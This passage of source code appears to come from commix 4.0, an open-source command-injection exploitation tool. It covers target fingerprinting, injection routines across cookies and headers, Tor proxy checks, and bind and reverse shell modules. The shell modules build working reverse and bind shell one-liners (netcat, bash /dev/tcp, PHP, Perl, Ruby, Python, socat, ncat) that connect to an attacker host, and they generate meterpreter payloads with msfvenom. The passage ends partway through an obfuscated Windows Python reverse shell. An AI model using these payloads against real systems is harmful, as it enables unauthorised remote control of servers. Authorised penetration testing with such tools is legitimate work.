settings.TARGET_OS = user_defined_os
if settings.VERBOSITY_LEVEL != 0 :
if settings.IDENTIFIED_TARGET_OS:
debug_msg = "The underlying operating system appears to be " + identified_os.title() + "."
settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg))
"""
Target application identification
"""
def technology_identification(response):
x_powered_by = response.info()[settings.X_POWERED_BY]
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Identifying the technology supporting the target application."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
try:
if len(x_powered_by) != 0:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "The target application is powered by " + x_powered_by + "."
settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg))
check_os(x_powered_by)
except Exception as e:
if settings.VERBOSITY_LEVEL != 0:
warn_msg = "Failed to identify the technology supporting the target application."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Target server's identification.
"""
def server_identification(response):
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Identifying the software used by target server."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
server_banner = response.info()[settings.SERVER]
for i in range(0,len(settings.SERVER_BANNERS)):
match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower())
if match:
settings.SERVER_BANNER = match.group(0)
# Set up default root paths
if "apache" in settings.SERVER_BANNER.lower():
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[1]
else:
settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL)
elif "nginx" in settings.SERVER_BANNER.lower():
settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[6]
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[0]
break
if len(server_banner) != 0 and settings.VERBOSITY_LEVEL != 0:
debug_msg = "The target server's software appears to be " + server_banner + "."
settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg))
"""
Procedure for target server's operating system identification.
"""
def os_identification(response):
if not settings.IGNORE_IDENTIFIED_OS:
server_banner = response.info()[settings.SERVER]
identified_os = check_os(server_banner)
if not settings.IDENTIFIED_TARGET_OS and not menu.options.os:
warn_msg = "Failed to identify server's underlying operating system."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
checks.define_target_os()
"""
Perform target page reload (if it is required).
"""
def url_reload(url, timesec):
if int(timesec) <= 5:
timesec = 5
time.sleep(timesec)
response = urllib.urlopen(url)
return response
"""
Calculate the time relative execution time
"""
def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url):
# Fix prefixes / suffixes
payload, prefix = parameters.prefixes(payload, prefix)
payload, suffix = parameters.suffixes(payload, suffix)
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
settings.print_data_to_stdout(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie or settings.COOKIE_INJECTION:
if not vuln_parameter:
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
exec_time = cookie_injection(url, vuln_parameter, payload, http_request_method)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
if not vuln_parameter:
vuln_parameter = parameters.specify_custom_header_parameter("")
exec_time = custom_header_injection(url, vuln_parameter, payload, http_request_method)
# Check if defined user-agent with "INJECT_HERE" tag
elif (menu.options.agent and settings.INJECT_TAG in menu.options.agent) or settings.USER_AGENT_INJECTION:
if not vuln_parameter:
vuln_parameter = parameters.specify_user_agent_parameter(settings.USER_AGENT.lower())
exec_time = user_agent_injection(url, vuln_parameter, payload, http_request_method)
# Check if defined referer with "INJECT_HERE" tag
elif (menu.options.referer and settings.INJECT_TAG in menu.options.referer) or settings.REFERER_INJECTION:
if not vuln_parameter:
vuln_parameter = parameters.specify_referer_parameter(settings.REFERER.lower())
exec_time = referer_injection(url, vuln_parameter, payload, http_request_method)
# Check if defined host with "INJECT_HERE" tag
elif (menu.options.host and settings.INJECT_TAG in menu.options.host) or settings.HOST_INJECTION:
if not vuln_parameter:
vuln_parameter = parameters.specify_host_parameter(settings.HOST.lower())
exec_time = host_injection(url, vuln_parameter, payload, http_request_method)
else:
exec_time, vuln_parameter = init_injection(payload, http_request_method, url)
return exec_time, vuln_parameter, payload, prefix, suffix
# eof commix-4.0/src/core/requests/tor.py 0000664 0000000 0000000 00000003740 14731205621 0017426 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import http_client as _http_client
from src.utils import menu
from src.utils import settings
from src.utils import requirments
from src.core.requests import proxy
from src.core.requests import requests
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Check if Tor HTTP proxy is defined.
"""
def tor_connection_error():
err_msg = "It appears that Tor is not properly set. Please "
if not menu.options.tor_port:
err_msg += "try again using option '--tor-port'."
else:
err_msg += "check again the provided option '--tor-port'."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
raise SystemExit()
def do_check():
info_msg = "Testing Tor HTTP proxy settings."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if menu.options.offline:
err_msg = "You cannot use Tor network while offline."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
try:
request = _urllib.request.Request(settings.CHECK_TOR_PAGE, method=settings.HTTPMETHOD.GET)
response = proxy.use_proxy(request)
page = response.read().decode(settings.DEFAULT_CODEC)
except Exception as err_msg:
page = None
if not page or "Congratulations" not in page:
tor_connection_error()
else:
info_msg = "Connection with the Tor HTTP proxy is properly set. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
# eof commix-4.0/src/core/shells/ 0000775 0000000 0000000 00000000000 14731205621 0015663 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/shells/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0020000 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/shells/bind_tcp.py 0000775 0000000 0000000 00000036345 14731205621 0020035 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import re
import sys
import time
import base64
import subprocess
from src.utils import menu
from src.utils import common
from src.utils import settings
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Set up the netcat bind TCP connection
"""
def netcat_version(separator):
# Defined shell
shell = "sh"
# Netcat alternatives
NETCAT_ALTERNATIVES = [
"nc",
"busybox nc",
"nc.traditional",
"nc.openbsd"
]
settings.print_data_to_stdout(Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.""")
while True:
nc_version = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """)
# Default Netcat
if nc_version == '1':
nc_alternative = NETCAT_ALTERNATIVES[0]
break
# Netcat for Busybox
if nc_version == '2':
nc_alternative = NETCAT_ALTERNATIVES[1]
break
# Netcat-Traditional
elif nc_version == '3':
nc_alternative = NETCAT_ALTERNATIVES[2]
break
# Netcat-Openbsd (nc without -e)
elif nc_version == '4':
nc_alternative = NETCAT_ALTERNATIVES[3]
break
# Check for available shell options
elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS):
if checks.shell_options(nc_version):
return checks.shell_options(nc_version)
# Invalid command
else:
common.invalid_option(nc_version)
continue
nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell)
if nc_version != '4':
# Netcat with -e
cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell
else:
# nc without -e
cmd = shell + " -c \"" + shell + " 0</tmp/f | " + \
nc_alternative + " -l -p " + settings.LPORT + \
" 1>/tmp/f\""
return cmd
"""
Other bind shell options
"""
def other_bind_shells(separator):
settings.print_data_to_stdout(Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell.
""" + Style.BRIGHT + """Available meterpreter bind TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell.""")
while True:
other_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """)
# PHP-bind-shell
if other_shell == '1':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
settings.print_data_to_stdout(settings.print_error_msg(error_msg))
continue
payload = "php/bind_php"
output = "php_bind_tcp.rc"
info_msg = "Generating the '" + payload + "' payload. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" RHOST=" + str(settings.RHOST) +
" LPORT=" + str(settings.LPORT) +
" -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open (output, "r+") as content_file:
data = content_file.readlines()
data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set rhost "+ str(settings.RHOST) + "\n"
"set lport "+ str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR:
checks.set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -r " + data
else:
other_shell = "php -r \"" + data + "\""
checks.msf_launch_msg(output)
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
break
# Perl-bind-shell
elif other_shell == '2':
other_shell = "perl -MIO -e '" \
"$c=new IO::Socket::INET(LocalPort," + settings.LPORT + ",Reuse,1,Listen)->accept;" \
"$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
break
# Ruby-bind-shell
elif other_shell == '3':
other_shell = "ruby -rsocket -e '" \
"s=TCPServer.new(" + settings.LPORT + ");" \
"c=s.accept;" \
"s.close;" \
"$stdin.reopen(c);" \
"$stdout.reopen(c);" \
"$stderr.reopen(c);" \
"$stdin.each_line{|l|l=l.strip;" \
"next if l.length==0;" \
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}})}'"
break
# Python-bind-shell
elif other_shell == '4':
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import pty,os,socket%0d" \
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
"s.bind((\"\"," + settings.LPORT + "))%0d" \
"s.listen(1)%0d" \
"(rem, addr) = s.accept()%0d" \
"os.dup2(rem.fileno(),0)%0d" \
"os.dup2(rem.fileno(),1)%0d" \
"os.dup2(rem.fileno(),2)%0d" \
"pty.spawn(\"/bin/sh\")%0d" \
"s.close()'"
break
# Socat-bind-shell
elif other_shell == '5':
other_shell = "socat tcp-listen:" + settings.LPORT + \
" exec:\"sh\""
break
# Ncat-bind-shell
elif other_shell == '6':
other_shell = "ncat -k -l " + settings.LPORT + " -e /bin/sh"
break
# PHP-bind-shell(meterpreter)
elif other_shell == '7':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
settings.print_data_to_stdout(settings.print_error_msg(error_msg))
continue
payload = "php/meterpreter/bind_tcp"
output = "php_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" RHOST=" + str(settings.RHOST) +
" LPORT=" + str(settings.LPORT) +
" -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open (output, "r+") as content_file:
data = content_file.readlines()
data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set rhost "+ str(settings.RHOST) + "\n"
"set lport "+ str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR:
checks.set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -r " + data
else:
other_shell = "php -r \"" + data + "\""
checks.msf_launch_msg(output)
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
break
# Python-bind-shell(meterpreter)
elif other_shell == '8':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
settings.print_data_to_stdout(settings.print_error_msg(error_msg))
continue
payload = "python/meterpreter/bind_tcp"
output = "py_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" RHOST=" + str(settings.RHOST) +
" LPORT=" + str(settings.LPORT) +
" -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open (output, "r") as content_file:
data = content_file.readlines()
data = ''.join(data)
#data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode()
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set rhost "+ str(settings.RHOST) + "\n"
"set lport "+ str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == settings.OS.WINDOWS:
if not settings.USER_DEFINED_PYTHON_DIR:
checks.set_python_working_dir()
other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
else:
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
checks.set_python_interpreter()
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
checks.msf_launch_msg(output)
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
break
# Check for available shell options
elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS):
if checks.shell_options(other_shell):
return checks.shell_options(other_shell)
# Invalid option
else:
common.invalid_option(other_shell)
continue
return other_shell
"""
Choose type of bind TCP connection.
"""
def bind_tcp_options(separator):
settings.print_data_to_stdout(Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. """)
while True:
bind_tcp_option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """)
if bind_tcp_option.lower() == "bind_tcp":
warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
continue
# Option 1 - Netcat shell
elif bind_tcp_option == '1' :
bind_tcp_option = netcat_version(separator)
if bind_tcp_option.lower() not in settings.SHELL_OPTIONS:
checks.shell_success("bind")
break
elif bind_tcp_option.lower() in settings.SHELL_OPTIONS:
return bind_tcp_option
else:
pass
# Option 2 - Other (Netcat-Without-Netcat) shells
elif bind_tcp_option == '2' :
bind_tcp_option = other_bind_shells(separator)
if settings.EVAL_BASED_STATE != False:
bind_tcp_option = bind_tcp_option.replace("$","\\$")
if bind_tcp_option.lower() not in settings.SHELL_OPTIONS:
checks.shell_success("bind")
break
# Check for available shell options
elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS):
if checks.shell_options(bind_tcp_option):
return checks.shell_options(bind_tcp_option)
# Invalid option
else:
common.invalid_option(bind_tcp_option)
continue
return bind_tcp_option
"""
Set up the bind TCP connection
"""
def configure_bind_tcp(separator):
# Set up rhost for the bind TCP connection
while True:
settings.print_data_to_stdout(settings.END_LINE.CR + settings.BIND_TCP_SHELL)
option = _input()
if option.lower() == "bind_tcp":
warn_msg = "You are into the '" + option.lower() + "' mode."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
continue
elif option.lower() == "?":
menu.bind_tcp_options()
continue
elif option.lower() == "quit" or option.lower() == "exit":
raise SystemExit()
elif option.lower() == "os_shell" or option.lower() == "back":
settings.BIND_TCP = False
break
elif option.lower() == "reverse_tcp":
settings.REVERSE_TCP = True
settings.BIND_TCP = False
break
elif len(settings.LPORT) != 0 and len(settings.RHOST) != 0:
break
elif option[0:4].lower() == "set ":
if option[4:10].lower() == "rhost ":
if checks.check_rhost(option[10:]):
if len(settings.LPORT) == 0:
pass
else:
break
else:
continue
elif option[4:10].lower() == "lhost ":
err_msg = "The '" + option[4:9].upper() + "' option, is not "
err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
continue
elif option[4:10].lower() == "lport ":
if checks.check_lport(option[10:]):
if len(settings.RHOST) == 0:
pass
else:
break
else:
continue
else:
common.invalid_option(option)
pass
else:
common.invalid_option(option)
pass
# eof commix-4.0/src/core/shells/reverse_tcp.py 0000775 0000000 0000000 00000072647 14731205621 0020601 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import re
import sys
import time
import base64
import random
import string
import subprocess
from src.utils import common
from src.utils import menu
from src.utils import update
from src.utils import settings
from src.core.compat import xrange
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Set up the netcat reverse TCP connection
"""
def netcat_version(separator):
# Defined shell
shell = "sh"
# Netcat alternatives
NETCAT_ALTERNATIVES = [
"nc",
"busybox nc",
"nc.traditional",
"nc.openbsd"
]
settings.print_data_to_stdout(Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.""")
while True:
nc_version = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """)
# Default Netcat
if nc_version == '1':
nc_alternative = NETCAT_ALTERNATIVES[0]
break
# Netcat for Busybox
if nc_version == '2':
nc_alternative = NETCAT_ALTERNATIVES[1]
break
# Netcat-Traditional
elif nc_version == '3':
nc_alternative = NETCAT_ALTERNATIVES[2]
break
# Netcat-Openbsd (nc without -e)
elif nc_version == '4':
nc_alternative = NETCAT_ALTERNATIVES[3]
break
# Check for available shell options
elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS):
if checks.shell_options(nc_version):
return checks.shell_options(nc_version)
# Invalid option
else:
common.invalid_option(nc_version)
continue
nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell)
if nc_version != '4':
# Netcat with -e
cmd = nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e " + shell
else:
# nc without -e
cmd = shell + " -c \"" + shell + " 0</tmp/f | " + \
nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + \
" 1>/tmp/f\""
return cmd
"""
Set up other [1] reverse tcp shell connections
[1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
"""
def other_reverse_shells(separator):
settings.print_data_to_stdout(Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows).
""" + Style.BRIGHT + """Available meterpreter reverse TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows).
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script.""")
while True:
other_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """)
# PHP-reverse-shell
if other_shell == '1':
other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \
"$proc=proc_open(\"/bin/sh -i\",array(0%3d>$sock,1%3d>$sock,2%3d>$sock),$pipes);'"
break
# Perl-reverse-shell
elif other_shell == '2':
other_shell = "perl -e 'use Socket;" \
"$i=\"" + settings.LHOST + "\";" \
"$p=" + settings.LPORT + ";" \
"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" \
"if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\");" \
"open(STDOUT,\">%26S\");open(STDERR,\">%26S\");" \
"exec(\"/bin/sh -i\");};'"
break
# Ruby-reverse-shell
elif other_shell == '3':
other_shell = "ruby -rsocket -e '" \
"c=TCPSocket.new(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \
"$stdin.reopen(c);" \
"$stdout.reopen(c);" \
"$stderr.reopen(c);" \
"$stdin.each_line{|l|l=l.strip;" \
"next if l.length==0;" \
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'"
break
# Python-reverse-shell
elif other_shell == '4':
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
checks.set_python_interpreter()
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import socket,subprocess,os%0d" \
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
"s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \
"os.dup2(s.fileno(),0)%0d" \
"os.dup2(s.fileno(),1)%0d" \
"os.dup2(s.fileno(),2)%0d" \
"p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'"
break
# Socat-reverse-shell
elif other_shell == '5':
other_shell = "socat tcp-connect:" + settings.LHOST + ":" + settings.LPORT + \
" exec:\"sh\",pty,stderr,setsid,sigint,sane"
break
# Bash-reverse-shell
elif other_shell == '6':
tmp_file = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(5)])
other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \
" 1>%260 2>%260\" > /tmp/" + tmp_file + settings.SINGLE_WHITESPACE + separator + " /bin/bash /tmp/" + tmp_file
break
# Ncat-reverse-shell
elif other_shell == '7':
other_shell = "ncat " + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e /bin/sh"
break
# Windows Python-reverse-shell
elif other_shell == '8':
data = "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \
"[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \
" __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \
" {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \
" __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \
" after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \
" __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \
"for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \
"for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \
"for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], " \
" stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \
"in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \
"[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \
"if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \
"for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \
"[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \
"for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \
